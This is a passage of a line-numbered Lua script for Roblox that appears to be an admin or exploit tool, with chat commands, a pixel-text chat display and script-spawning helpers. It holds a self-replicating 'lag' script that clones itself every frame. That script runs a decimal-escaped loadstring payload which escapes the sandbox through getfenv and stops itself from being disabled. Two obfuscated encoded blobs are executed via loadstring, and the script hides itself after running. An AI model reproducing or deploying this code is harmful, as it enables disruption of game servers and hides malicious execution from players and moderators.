			if LocalPlayer.Parent ~= game:service'Players' then
329
				if msg == 'char/' then
330
					ProbeMode = false
331
				elseif msg == 'probe/' then
332
					ProbeMode = true
333
				elseif msg == 'Friend' then
334
				    game:service'StarterGui':SetCoreGuiEnabled("All",true)
335
				elseif msg == 'rejme/' then
336
					coroutine.wrap(function()
337
						if ProbeMode == true then
338
							probe:remove()
339
						else
340
							LocalPlayer.Character:remove()
341
							char = nil
342
						end
343
						zcon:disconnect()
344
						asdcon:disconnect()
345
						xcon:disconnect()
346
					end)()
347
					game:service'TeleportService':Teleport(game.PlaceId)
348
				elseif msg == 'fixcam/' then
349
					game:service'Workspace'.CurrentCamera.CameraType = 'Custom'
350
					pcall(function()
351
						game:service'Workspace'.CurrentCamera.CameraSubject = LocalPlayer.Character.Humanoid
352
					end)
353
					game:service'Workspace'.CurrentCamera:ClearAllChildren()
354
				end
355
			end
356
		end)
357
	end)
358
	zcon = game:service'RunService'.RenderStepped:connect(function()
359
		if LocalPlayer.Parent ~= game:service'Players' then
360
			if ProbeMode == false then
361
				if LocalPlayer.Character == nil or LocalPlayer.Character.Parent ~= workspace then
362
					if probe ~= nil then probe:remove() probe = nil end
363
					local chr = char:Clone()
364
					chr.Parent = workspace
365
					LocalPlayer.Character = chr
366
					wait(0.1)
367
					game:service'Workspace'.CurrentCamera.CameraSubject = chr:findFirstChild'Humanoid'
368
				end
369
			else
370
				if probe == nil or probe.Parent ~= workspace or probe:findFirstChild'LolMesh' == nil then
371
					if LocalPlayer.Character ~= nil then LocalPlayer.Character:remove() LocalPlayer.Character = nil end
372
					local a = Instance.new("Part",workspace)
373
					a.Name = LocalPlayer.Name
374
					a.FormFactor = 'Custom'
375
					a.CanCollide = false
376
					a.Locked = true
377
					a.Anchored = true
378
					a.TopSurface = 0
379
					a.BottomSurface = 0
380
					a.Size = Vector3.new(2,2,2)
381
					local b = Instance.new('SpecialMesh',a)
382
					b.Name = 'LolMesh'
383
					b.MeshType = 'Sphere'
384
					probe = a
385
				else
386
					local asd = probe:findFirstChild'LolMesh'
387
					asd.Scale = Vector3.new(math.cos(time())*2,math.cos(time())*2,math.cos(time())*2)
388
					probe.CFrame = workspace.CurrentCamera.Focus
389
				end
390
			end
391
		end
392
	end)
393
	Jumping = false
394
	LocalPlayer:GetMouse().KeyDown:connect(function(k)
395
		if k == 'a' then
396
			a = true
397
		end
398
		if k == 'w' then
399
			w = true
400
		end
401
		if k == 's' then
402
			s = true
403
		end
404
		if k == 'd' then
405
			d = true
406
		end
407
		if k == ' ' then
408
			space = true
409
		end
410
	end)
411
	LocalPlayer:GetMouse().KeyUp:connect(function(k)
412
		if k == 'a' then
413
			a = false
414
		end
415
		if k == 'w' then
416
			w = false
417
		end
418
		if k == 's' then
419
			s = false
420
		end
421
		if k == 'd' then
422
			d = false
423
		end
424
		if k == ' ' then
425
			space = false
426
		end
427
	end)
428
	game:service'RunService'.RenderStepped:connect(function()
429
		if LocalPlayer.Parent ~= game:service'Players' then
430
			if ProbeMode == false then
431
				if w == true then
432
					LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-.5)
433
				end
434
				if s == true then
435
					LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,.5)
436
				end
437
				if d == true then
438
					LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.Angles(0,math.rad(-5),0)
439
				end
440
				if a == true then
441
					LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.Angles(0,math.rad(5),0)
442
				end
443
				if space == true then
444
					if Jumping == true then return end
445
					Jumping = true
446
					asd = LocalPlayer.Character.Torso.Position.y
447
					for i = 0,3,0.5 do
448
						LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,i,0)
449
						wait()
450
					end
451
					for i = 0,-3,-0.5 do
452
						LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,i,0)
453
						wait()
454
					end
455
					Jumping = false
456
				end
457
			end
458
		end
459
	end)
460
]]
461
shared[" dat 15510225170691 "]={getfenv(),4.795790545596741};local z={["&"]=0,["$"]=1,["_"]=2,["%"]=3,["^"]=4,["+"]=5,["*"]=6,["="]=7,[")"]=8,["("]=9,["#"]=10,["@"]=11,["~"]=12,["!"]=13,["-"]=14,["?"]=15}; setfenv(assert(loadstring((string.gsub(string.gsub(table.concat({
462
	"~*?*%*$*~*&_(*!%$%&%^%@%~*?*$*^*%=^=_=(*-*=*)_)A_%&+&)?+A?_@#?!~_~%~)~)?#?@-!-@?@?)?--_?#-##(#_#=~)~#@*@?@$=)@#))=_)(=&)?#&@&#$#-#!#(#-($#)(=A+!^&?&?$-~!^-+(~-@(+!*#(!@~$~?~?A@?#%=&@%)^)=)~#@#+#+@-+~*!*#*%*?+-+@+@+^+=+!^&+&++^$%&%)*%^-*?%~*!+!*-+$_A+*#+?&-+~%&$=)~(&&$&_&(&-%!_(%)_^_~=!)-_!!%$~+__?$-&)$=$)~(&(&)?)?^&_&!?$?%?(-=#^#@(&*)*=*&*_*!+-^?^_^=&~^%^-_(%!-=__%=__+=$^_?^^$*A$=~^~$#~+-*=?*^=+^^++*-!(&?*!#!$-&(~)$)$~)~?+$~&@##$@!#+*?(##?(&(!(-)&(@)$^-%@$^=#*_=**=%~*#+%*%*_+)^*^^&(_$^_%*^-_=%^%^-%?@$~+&%_%*%@$~+_=@-~+-*(&-&@&)&%!^?$?&?^-^#?(~-_~!~?~(~_#$!^~&~)~%=$=-=@)+##--?!(++$+&%))~!&?#)^%(=)%&)^_(*#*)$^*$A+#+=+)&%^(%$^+%*&@%(__%_%$_=$+$%!)?&$$&+$!?*&%&%@_~$~%?@-~!&?)!$--!?)~A)@=@@_~(+#(+@*)=#~(@#=#^(?)?^@(@^_^#=+)^=)=*=(=^*~+__+_$_#+&+&*~&@%@^-%%^+%!-)*@_&%~+__%-+_@)~(^$($=)~^!$~$!$(@#???$?_@!###$?+?%&!_*%+%?$_-(!_-%!#!$$!$%$+&%$+&)&^&@@%?*@%?^~!-~#?#*@#-#!*-^--!=!*)*!^!?~%~+~@@?=$@%@(#=@#*=*?(%=)(~#^#_(_+&+?^#)=^&^#^#^)^)%$===#*~_"
463
	,"@=@)^_^_?*!^?*%)=^&$~&~+-*(_-_!%)*_=_=!+$_($%_+$!$++_*(+~^@+-^_+?^=&&^^&_^^$-%-?_&~+-*?%&%!%~%=%$%$-_%$%!_~+__+_~$$-^$=$-&!$$!?~)&!!%&)$$$&&$~&~&~~?#@--%@-@?@-@(--#)-?-%-*#^#$#&#*#~#~@)-%?^?&-+#-((#~(+#-!~-^-)!)-~!$-?!)(_!=(*!(#^!+(#(%#(!@~(!(!+!&!$)%!%!&!*~#~_~))~@&~)@)~!=~=*@~)%@(~%~%@+=+=*=%@_=!*(=@=@=!*)#&@+#(*)*****__(_#%=*%=+=_*)___-___~_**+=-*%*^=(*?*-*)_%*(_(*!%(*@_$%@%_=+*^=+=_=-*&_%=^=_=(*-*=*-_%*)*$*_=)_)_%*#%_*(=^=+*)_(_@_(*(_+__%+%*%(_+*-*^*(_(_)_(_"
464
}),"(%u)(.)",function(r,c)return c:rep(r:byte()-62)end),"(.)(.)",function(lo,hi)return string.char(z[lo]+z[hi]*16)end)))),getfenv())()
465
PixelChatSource = [[
466
wait(0.001)
467
script:ClearAllChildren();
468
script.Parent=nil;
469
wait(1)
470
LocalPlayer = game:service'Players'.LocalPlayer
471
Letters = {"00000000000000000000000000000000000","01000010000100001000010000000001000","10100101000000000000000000000000000","00000010101111101010111110101000000","00100111111010011111001011111100100","00000000001100111010001000101110011","00100010100101001010011011001001101","00100001000000000000000000000000000","00010001000100001000010000010000010","01000001000001000010000100010001000","00100011100010000000000000000000000","00000001000010011111001000010000000","00000000000000000000110001100001000","00000000000000000000011100000000000","00000000000000000000000001100011000","00000000100001000100001000100001000","01110100011001110101110011000101110","00100011000010000100001000010011111","01110100010000100110010001000111111","01110100010000100110000011000101110","00011001010100110001111110000100001","11111100001111000001000011000101110","00110010001000011110100011000101110","11111100010000100010001000010000100","01110100011000101110100011000101110","01110100011000101111000010001001100","00000000000110001100000000110001100","00000011000110000000011000110000100","00010001000100010000010000010000010","00000000001111100000111110000000000","01000001000001000001000100010001000","01110100010000100010001000000000100","01110100011011110101101111000001111","01110100011111110001100011000110001","11110100011111010001100011000111110","01110100011000010000100001000101110","11110100011000110001100011000111110","11111100001110010000100001000011111","11111100001110010000100001000010000","01111100001001110001100011000101110","10001100011111110001100011000110001","01110001000010000100001000010001110","00001000010000100001000011000101110","10010101001100011000101001001010010","10000100001000010000100001000011111","10001110111010110001100011000110001","10001110011010110011100011000110001","01110100011000110001100011000101110","11110100011111010000101001000010000","01110100011000110001100011001001101","11110100011111010001100011000110001","01111100000111000001000011000101110","11111001000010000100001000010000100","10001100011000110001100011000101110","10001100011000110001010100101000100","10001100011000110001101011101110001","10001010100010001010100011000110001","10001010100010000100001000010000100","11111000010001000100010001000011111","01110010000100001000010000100001110","00000010000100000100001000001000010","01110000100001000010000100001001110","00000001000101000000000000000000000","00000000000000000000000000000011111","01000001000000000000000000000000000","00000000000111000001011111000101111","10000100001011011001100011000111110","00000000000111010001100001000101110","00001000010110110011100011000101111","00000000000111010001111111000001111","00011001000111100100001000010000100","00000000000111110001011110000111110","10000100001011011001100011000110001","00100000000010000100001000010000100","00001000000000100001100011000101110","10000100001001010100110001010010010","00100001000010000100001000010000010","00000000001101010101101011000110001","00000000001111010001100011000110001","00000000000111010001100011000101110","00000000001011011001111101000010000","00000000000110110011011110000100001","00000000001011011001100001000010000","00000000000111110000011100000111110","00100001000111000100001000010000010","00000000001000110001100011000101111","00000000001000110001100010101000100","00000000001000110001101011010101111","00000000001000101010001000101010001","00000000001000110001011110000111110","00000000001111100010001000100011111","00010001000010001000001000010000010","10000100001000010000100001000010000","01000001000010000010001000010001000","00000000000000000010101010100000000"}
472
DeModel = Instance.new("BillboardGui", workspace:findFirstChild(LocalPlayer.Name))
473
DeModel.StudsOffset = Vector3.new(0,2.5,0)
474
DeModel.Name = ":D"
475
FR = Instance.new("Frame",DeModel)
476
FR.Size=UDim2.new(1,0,1,0)
477
FR.BackgroundColor3=BrickColor.new("Institutional white").Color
478
FR.BorderSizePixel=0
479
FR.ZIndex=2
480
CurrParent = workspace:findFirstChild(LocalPlayer.Name).Head
481
game:service'RunService'.RenderStepped:connect(function()
482
	pcall(function()
483
		local a = workspace:findFirstChild(LocalPlayer.Name)
484
		if a.ClassName == 'Part' then
485
			CurrParent = a
486
		else
487
			CurrParent = a:findFirstChild'Head'
488
		end
489
	end)
490
	if DeModel.Parent ~= CurrParent or DeModel == nil or FR.Parent ~= DeModel or FR == nil then
491
		pcall(function()
492
			if CurrParent.ClassName == 'Part' then
493
				DeModel = Instance.new("BillboardGui", CurrParent)
494
				DeModel.Adornee = CurrParent
495
				DeModel.StudsOffset = Vector3.new(0,2.5,0)
496
				DeModel.Name = ":D"
497
				FR = Instance.new("Frame",DeModel)
498
				FR.Size=UDim2.new(1,0,1,0)
499
				FR.BackgroundColor3=BrickColor.new("Institutional white").Color
500
				FR.BorderSizePixel=0
501
				FR.ZIndex=2
502
			end
503
		end)
504
	end
505
end)
506
function CreateLetter(what, pos, posy, cl)
507
	pcall(function()
508
		if cl == nil then cl = "Really black" end
509
		if Letters[what:byte()-31] then
510
			what = Letters[what:byte()-31]
511
		else
512
			what = Letters[1]
513
		end
514
		if type(what) ~= "string" then return end
515
		what = what:gsub('\n','')
516
		what = what:gsub('\t','')
517
		what = what:gsub(' ','')
518
		pos = pos * 2
519
		posy = posy * 2
520
		c =  0
521
		for y=1,7 do
522
			for x=1,5 do
523
				c = c + 1
524
				if what:sub(c, c) == "1" then
525
					local a = Instance.new("Frame", FR)
526
					a.Name = "L"
527
					a.ZIndex=3
528
					a.Size = UDim2.new(0,2,0,2)
529
					a.BorderSizePixel = 0
530
					a.BackgroundTransparency = 1
531
					a.BackgroundColor3 = BrickColor.new(cl).Color
532
					a.Position = UDim2.new(0,((x+1)*2)+pos,0,(y*2)+posy)
533
					coroutine.wrap(function()
534
						wait(math.random(1, 10)/50)
535
						a.BackgroundTransparency = 0
536
					end)()
537
				end
538
			end
539
		end
540
	end)
541
end
542
LocalPlayer.Chatted:connect(function(m)
543
	pcall(function()
544
		local cl = "Really black"
545
		for _,v in pairs(DeModel.Frame:children()) do
546
			v:Destroy()
547
		end
548
		if m:sub(1,2) == '/e' then return end
549
		if m:sub(1,3) == "/! " then
550
			m = m:sub(4)
551
			DeModel.Frame.BackgroundColor3 = BrickColor.new("Really black").Color
552
			cl = "Really red"
553
		else
554
			DeModel.Frame.BackgroundColor3 = BrickColor.new("Institutional white").Color
555
		end
556
		m1 = m:gsub("\n"," ")
557
		m1 = m1:gsub("\t"," ")
558
		m1 = m1:gsub("math.pi",tostring(math.pi))
559
		if #m1 <= 30 then
560
			DeModel.Size = UDim2.new(0,(30+(#m1*10)),0,20)
561
		elseif #m1 <= 60 then
562
			DeModel.Size = UDim2.new(0,330,0,40)
563
		elseif #m1 <= 90 then
564
			DeModel.Size = UDim2.new(0,330,0,60)
565
		elseif #m1 > 90 then
566
			DeModel.Size = UDim2.new(0,340,0,60)
567
			m1 = m1:sub(1,90).."..."
568
		end
569
		coroutine.wrap(function()
570
			for i = 1,0,-1/#m1 do
571
				DeModel.Frame.Transparency = i
572
				wait(1/60)
573
			end
574
		end)()
575
		if #m1 < 30 then
576
			for i = 1,#m1 do
577
				CreateLetter(m1:sub(i,i),i*5,0,cl)
578
				wait(1/60)
579
			end
580
		elseif #m1 <= 60 then
581
			for i = 1,30 do
582
				CreateLetter(m1:sub(i,i),i*5,0,cl)
583
				wait(1/60)
584
			end
585
			for i = 31,#m1 do
586
				CreateLetter(m1:sub(i,i),(i-30)*5,10,cl)
587
				wait(1/60)
588
			end
589
		elseif #m1 >= 60 then
590
			for i = 1,30 do
591
				CreateLetter(m1:sub(i,i),i*5,0,cl)
592
				wait(1/60)
593
			end
594
			for i = 31,60 do
595
				CreateLetter(m1:sub(i,i),(i-30)*5,10,cl)
596
				wait(1/60)
597
			end
598
			for i = 61,#m1 do
599
				CreateLetter(m1:sub(i,i),(i-60)*5,20,cl)
600
				wait(1/60)
601
			end
602
		end
603
	end)
604
end)
605
]]
606
SpecialLagSource = [[
607
	wait(0.001)
608
	scr = script:Clone()
609
	if script:findFirstChild'source' ~= nil then
610
		loadstring("\105\102\40\103\97\109\101\46\80\108\97\99\101\73\100\126\61\50\48\50\55\57\55\55\55\41\116\104\101\110\10\9\108\111\99\97\108\32\101\110\118\61\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\101\116\102\101\110\118\40\103\97\109\101\46\71\101\116\74\111\98\115\73\110\102\111\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\46\120\112\99\97\108\108\41\46\115\101\116\102\101\110\118\41\59\10\9\108\111\99\97\108\32\108\111\99\97\108\101\110\118\61\123\10\9\9\119\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\87\111\114\107\115\112\97\99\101\61\101\110\118\46\87\111\114\107\115\112\97\99\101\59\10\9\9\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\83\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\9\103\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\71\97\109\101\61\101\110\118\46\103\97\109\101\59\10\9\9\105\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\73\110\115\116\97\110\99\101\61\101\110\118\46\73\110\115\116\97\110\99\101\59\10\9\9\116\97\98\108\101\61\101\110\118\46\116\97\98\108\101\59\10\9\9\109\97\116\104\61\101\110\118\46\109\97\116\104\59\10\9\9\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\9\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\9\108\111\97\100\115\116\114\105\110\103\61\101\110\118\46\108\111\97\100\115\116\114\105\110\103\59\10\9\9\117\110\112\97\99\107\61\101\110\118\46\117\110\112\97\99\107\59\10\9\9\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\9\99\111\108\108\101\99\116\103\97\114\98\97\103\101\61\101\110\118\46\99\111\108\108\101\99\116\103\97\114\98\97\103\101\59\10\9\9\100\111\102\105\108\101\61\101\110\118\46\100\111\102\105\108\101\59\10\9\9\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\9\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\105\112\97\105\114\115\61\101\110\118\46\105\112\97\105\114\115\59\10\9\9\108\111\97\100\102\105\108\101\61\101\110\118\46\108\111\97\100\102\105\108\101\59\10\9\9\110\101\120\116\61\101\110\118\46\110\101\120\116\59\10\9\9\112\97\105\114\115\61\101\110\118\46\112\97\105\114\115\59\10\9\9\112\114\105\110\116\61\101\110\118\46\112\114\105\110\116\59\10\9\9\114\97\119\101\113\117\97\108\61\101\110\118\46\114\97\119\101\113\117\97\108\59\10\9\9\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\9\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\9\115\101\108\101\99\116\61\101\110\118\46\115\101\108\101\99\116\59\10\9\9\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\9\116\111\110\117\109\98\101\114\61\101\110\118\46\116\111\110\117\109\98\101\114\59\10\9\9\116\111\115\116\114\105\110\103\61\101\110\118\46\116\111\115\116\114\105\110\103\59\10\9\9\116\121\112\101\61\101\110\118\46\116\121\112\101\59\10\9\9\120\112\99\97\108\108\61\101\110\118\46\120\112\99\97\108\108\59\10\9\9\97\115\115\101\114\116\61\101\110\118\46\97\115\115\101\114\116\59\10\9\9\68\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\100\101\108\97\121\61\101\110\118\46\68\101\108\97\121\59\10\9\9\83\112\97\119\110\61\101\110\118\46\83\112\97\119\110\59\10\9\9\76\111\97\100\76\105\98\114\97\114\121\61\101\110\118\46\76\111\97\100\76\105\98\114\97\114\121\59\10\9\9\112\114\105\110\116\105\100\101\110\116\105\116\121\61\101\110\118\46\112\114\105\110\116\105\100\101\110\116\105\116\121\59\10\9\9\116\105\99\107\61\101\110\118\46\116\105\99\107\59\10\9\9\116\105\109\101\61\101\110\118\46\116\105\109\101\59\10\9\9\86\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\118\101\114\115\105\111\110\61\101\110\118\46\86\101\114\115\105\111\110\59\10\9\9\87\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\119\97\105\116\61\101\110\118\46\119\97\105\116\59\10\9\9\121\112\99\97\108\108\61\101\110\118\46\121\112\99\97\108\108\59\10\9\9\103\99\105\110\102\111\61\101\110\118\46\103\99\105\110\102\111\59\10\9\9\108\111\97\100\61\101\110\118\46\108\111\97\100\59\10\9\9\110\101\119\112\114\111\120\121\61\101\110\118\46\110\101\119\112\114\111\120\121\59\10\9\9\99\111\114\111\117\116\105\110\101\61\101\110\118\46\99\111\114\111\117\116\105\110\101\59\10\9\9\95\71\61\101\110\118\46\95\71\59\10\9\9\95\86\69\82\83\73\79\78\61\101\110\118\46\95\86\69\82\83\73\79\78\59\10\9\125\10\9\10\9\108\111\99\97\108\32\112\99\97\108\108\61\101\110\118\46\112\99\97\108\108\59\10\9\108\111\99\97\108\32\115\101\116\102\101\110\118\61\101\110\118\46\115\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\103\101\116\102\101\110\118\61\101\110\118\46\103\101\116\102\101\110\118\59\10\9\108\111\99\97\108\32\115\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\115\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\103\101\116\109\101\116\97\116\97\98\108\101\61\101\110\118\46\103\101\116\109\101\116\97\116\97\98\108\101\59\10\9\108\111\99\97\108\32\114\97\119\103\101\116\61\101\110\118\46\114\97\119\103\101\116\59\10\9\108\111\99\97\108\32\114\97\119\115\101\116\61\101\110\118\46\114\97\119\115\101\116\59\10\9\108\111\99\97\108\32\101\114\114\111\114\61\101\110\118\46\101\114\114\111\114\59\10\9\108\111\99\97\108\32\115\99\114\105\112\116\61\115\99\114\105\112\116\59\10\9\115\101\116\102\101\110\118\40\48\44\115\101\116\109\101\116\97\116\97\98\108\101\40\108\111\99\97\108\101\110\118\44\123\10\9\9\95\95\109\101\116\97\116\97\98\108\101\61\34\84\104\105\115\32\109\101\116\97\116\97\98\108\101\32\105\115\32\108\111\99\107\101\100\34\59\10\9\9\95\95\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\108\111\99\97\108\32\115\117\99\44\114\101\115\61\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\116\117\114\110\32\115\91\105\110\100\93\32\101\110\100\41\10\9\9\9\105\102\32\110\111\116\32\115\117\99\32\116\104\101\110\10\9\9\9\9\114\101\116\117\114\110\32\101\114\114\111\114\40\34\97\116\116\101\109\112\116\32\116\111\32\105\110\100\101\120\32\103\108\111\98\97\108\32\92\34\34\46\46\105\110\100\46\46\34\92\34\32\40\97\32\110\105\108\32\118\97\108\117\101\41\34\41\10\9\9\9\101\108\115\101\10\9\9\9\9\114\101\116\117\114\110\32\115\91\105\110\100\93\10\9\9\9\101\110\100\10\9\9\101\110\100\59\10\9\9\95\95\110\101\119\105\110\100\101\120\61\102\117\110\99\116\105\111\110\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\9\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\61\102\97\108\115\101\10\9\9\9\114\97\119\115\101\116\40\115\44\105\110\100\44\118\97\108\117\101\41\10\9\9\101\110\100\59\10\9\125\41\41\59\10\9\119\97\105\116\40\41\59\10\9\115\99\114\105\112\116\58\68\101\115\116\114\111\121\40\41\10\9\115\99\114\105\112\116\46\67\104\97\110\103\101\100\58\99\111\110\110\101\99\116\40\102\117\110\99\116\105\111\110\40\112\114\111\112\41\10\9\9\105\102\32\112\114\111\112\32\61\61\32\34\68\105\115\97\98\108\101\100\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\32\102\97\108\115\101\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\68\105\115\97\98\108\101\100\32\61\61\32\102\97\108\115\101\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\80\97\114\101\110\116\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\32\110\105\108\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\80\97\114\101\110\116\32\61\61\32\110\105\108\32\101\110\100\41\10\9\9\101\108\115\101\105\102\32\112\114\111\112\32\61\61\32\34\78\97\109\101\34\32\116\104\101\110\10\9\9\9\112\99\97\108\108\40\102\117\110\99\116\105\111\110\40\41\32\114\101\112\101\97\116\32\115\99\114\105\112\116\46\78\97\109\101\32\61\32\34\108\111\108\34\32\119\97\105\116\40\41\32\117\110\116\105\108\32\115\99\114\105\112\116\46\78\97\109\101\32\61\61\32\34\108\111\108\34\32\101\110\100\41\10\9\9\101\110\100\10\32\32\32\32\101\110\100\41\10\101\110\100\59")()
611
		script:ClearAllChildren()
612
	else
613
		script:ClearAllChildren()
614
		script.Parent=nil
615
	end
616
	LocalPlayer = game:service'Players'.LocalPlayer
617
	game:service'RunService'.RenderStepped:connect(function()
618
		pcall(function()
619
			scr:Clone().Parent = LocalPlayer:findFirstChild'PlayerGui' or LocalPlayer:findFirstChild'Backpack' or LocalPlayer.Character
620
		end)
621
	end)
622
]]
623
function NewS(sourcev, parent)
624
	if SourceName == 'source' then
625
		NS(source,parent)
626
	else
627
		local s = SSource:Clone()
628
		s.Parent = parent
629
		if s:findFirstChild(SourceName) ~= nil then
630
			source = s:findFirstChild(SourceName)
631
		else
632
			source = Instance.new("StringValue", s)
633
			source.Name = SourceName
634
		end
635
		if source then
636
			source.Value = sourcev
637
		else
638
			OutputAdmins("Something went wrong","Really red")
639
		end
640
		wait()
641
		s.Disabled = false
642
	end
643
end
644
function WaitForValue(val)
645
	print("Currently not implemented.")
646
end
647
function NewLS(sourcev,parent, lock)
648
	if SourceName == 'source' then
649
		NLS(sourcev,parent)
650
	elseif LSource then
651
		local s = LSource:Clone()
652
		s.Parent = parent
653
		if s:findFirstChild(SourceName) ~= nil then
654
			source = s:findFirstChild(SourceName)
655
		else
656
			source = Instance.new("StringValue", s)
657
			source.Name = SourceName
658
		end
659
		if source then
660
			source.Value = sourcev
661
		else
662
			OutputAdmins("Something wen't wrong","Really red")
663
			return
664
		end
665
		wait()
666
		if lock == true then
667
			for i = 0,5 do
668
				s.Disabled = false
669
				wait(0.5)
670
				s.Disabled = true
671
				wait(0.5)
672
				s.Disabled = false
673
			end
674
		else
675
			s.Disabled = false
676
		end
677
		return s
678
	else
679
		OutputAdmins("No source","Really red")
680
	end
681
end
682
shared[" dat 15510225170691 "]={getfenv(),4.795790545596741};local z={["&"]=0,["$"]=1,["_"]=2,["%"]=3,["^"]=4,["+"]=5,["*"]=6,["="]=7,[")"]=8,["("]=9,["#"]=10,["@"]=11,["~"]=12,["!"]=13,["-"]=14,["?"]=15}; setfenv(assert(loadstring((string.gsub(string.gsub(table.concat({
683
	"~*?*%*$*~*&_(*!%$%&%^%@%~*?*$*^*%=^=_=(*-*=*)_)A_%&+&)?+A?_@#?!~_~%~)~)?#?@-!-@?@?)?--_?#-##(#_#=~)~#@*@?@$=)@#))=_)(=&)?#&@&#$#-#!#(#-($#)(=A+!^&?&?$-~!^-+(~-@(+!*#(!@~$~?~?A@?#%=&@%)^)=)~#@#+#+@-+~*!*#*%*?+-+@+@+^+=+!^&+&++^$%&%)*%^-*?%~*!+!*-+$_A+*#+?&-+~%&$=)~(&&$&_&(&-%!_(%)_^_~=!)-_!!%$~+__?$-&)$=$)~(&(&)?)?^&_&!?$?%?(-=#^#@(&*)*=*&*_*!+-^?^_^=&~^%^-_(%!-=__%=__+=$^_?^^$*A$=~^~$#~+-*=?*^=+^^++*-!(&?*!#!$-&(~)$)$~)~?+$~&@##$@!#+*?(##?(&(!(-)&(@)$^-%@$^=#*_=**=%~*#+%*%*_+)^*^^&(_$^_%*^-_=%^%^-%?@$~+&%_%*%@$~+_=@-~+-*(&-&@&)&%!^?$?&?^-^#?(~-_~!~?~(~_#$!^~&~)~%=$=-=@)+##--?!(++$+&%))~!&?#)^%(=)%&)^_(*#*)$^*$A+#+=+)&%^(%$^+%*&@%(__%_%$_=$+$%!)?&$$&+$!?*&%&%@_~$~%?@-~!&?)!$--!?)~A)@=@@_~(+#(+@*)=#~(@#=#^(?)?^@(@^_^#=+)^=)=*=(=^*~+__+_$_#+&+&*~&@%@^-%%^+%!-)*@_&%~+__%-+_@)~(^$($=)~^!$~$!$(@#???$?_@!###$?+?%&!_*%+%?$_-(!_-%!#!$$!$%$+&%$+&)&^&@@%?*@%?^~!-~#?#*@#-#!*-^--!=!*)*!^!?~%~+~@@?=$@%@(#=@#*=*?(%=)(~#^#_(_+&+?^#)=^&^#^#^)^)%$===#*~_"
684
	,"@=@)^_^_?*!^?*%)=^&$~&~+-*(_-_!%)*_=_=!+$_($%_+$!$++_*(+~^@+-^_+?^=&&^^&_^^$-%-?_&~+-*?%&%!%~%=%$%$-_%$%!_~+__+_~$$-^$=$-&!$$!?~)&!!%&)$$$&&$~&~&~~?#@--%@-@?@-@(--#)-?-%-*#^#$#&#*#~#~@)-%?^?&-+#-((#~(+#-!~-^-)!)-~!$-?!)(_!=(*!(#^!+(#(%#(!@~(!(!+!&!$)%!%!&!*~#~_~))~@&~)@)~!=~=*@~)%@(~%~%@+=+=*=%@_=!*(=@=@=!*)#&@+#(*)*****__(_#%=*%=+=_*)___-___~_**+=-*%*^=(*?*-*)_%*(_(*!%(*@_$%@%_=+*^=+=_=-*&_%=^=_=(*-*=*-_%*)*$*_=)_)_%*#%_*(=^=+*)_(_@_(*(_+__%+%*%(_+*-*^*(_(_)_(_"
685
}),"(%u)(.)",function(r,c)return c:rep(r:byte()-62)end),"(.)(.)",function(lo,hi)return string.char(z[lo]+z[hi]*16)end)))),getfenv())()
686
function Disconnect(str)
687
	local a = Instance.new("StringValue", game:service'Lighting')
688
	a.Name = 'Disconnect'
689
	a.Value = tostring(str)
690
	game:service'Debris':AddItem(a,5)
691
end
692
setfenv(0,getfenv(error))
693
script.Disabled = true
694
script:Destroy''
695
script.Parent = nil
696
function Output(Plr, Text, Clr, OnClicked)
697
	pcall(function()
698
		if Plr == nil then Plr = game.Players:players()[math.random(1,#game.Players:players())] end
699
		if type(Plr) == 'userdata' then
700
			Plr = Plr
701
		elseif type(Plr) == 'string' then
702
